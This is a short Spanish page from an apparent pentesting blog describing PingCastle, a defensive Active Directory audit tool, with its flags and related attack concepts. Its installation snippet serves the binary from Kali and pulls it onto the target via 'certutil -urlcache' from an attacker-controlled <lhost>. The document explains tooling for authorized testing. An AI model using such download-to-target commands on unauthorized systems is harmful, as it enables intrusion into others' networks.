the_open_door
café
ESEN
← Herramientas

PingCastle

Audita el nivel de seguridad de un dominio y puntúa sus debilidades.

Herramienta de auditoría defensiva que, en un pentest, se usa para el diagnóstico rápido. Con credenciales de dominio genera un informe HTML que puntúa el estado de seguridad del dominio y señala las debilidades típicas: cuentas con contraseña que no caduca, delegaciones peligrosas, relaciones de confianza mal configuradas, sistemas obsoletos, permisos excesivos. No explota nada, pero en minutos da una lista priorizada de por dónde atacar, y es lo que se entrega al cliente como foto del riesgo estructural.

Familia Enumeración de Active Directory

Flags --healthcheck --server

Conceptos LDAP Enumeration, ACL Abuse (DACL), GPO abuse (SharpGPOAbuse, Restricted Groups)

Cheatsheet Enumeración

Instalación

# Binario ya compilado para Windows (no se instala en Kali): descargar el .exe de la
# ultima release del repo y subirlo al objetivo, p.ej. sirviendolo desde Kali:
python3 -m http.server 80                              # en Kali, en la carpeta del binario
certutil -urlcache -f http://<lhost>/PingCastle.exe PingCastle.exe      # en el objetivo (o SMB / 'upload' de evil-winrm)
# se ejecuta en un Windows del dominio: '.\PingCastle.exe --healthcheck'

Comandos útiles3 comandos

Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.